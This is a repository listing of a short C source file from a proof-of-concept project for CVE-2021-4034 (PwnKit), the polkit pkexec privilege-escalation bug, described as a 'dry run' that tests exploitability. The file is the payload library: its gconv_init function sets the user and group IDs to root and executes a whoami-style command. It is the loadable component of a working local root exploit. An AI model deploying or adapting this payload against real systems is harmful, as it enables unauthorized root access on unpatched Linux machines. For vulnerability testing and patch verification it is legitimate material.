CVE-2021-4034/dry-run/pwnkit-dry-run.c
Davide Berardi 89165e8be0 Dry run
The dry run execution will test if the bug is exploitable.
2022-01-28 17:59:23 +01:00

17 lines
258 B
C

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {
}
void gconv_init(void *step)
{
char * const args[] = { WHOAMI, NULL };
char * const environ[] = { NULL };
setuid(0);
setgid(0);
execve(args[0], args, environ);
exit(0);
}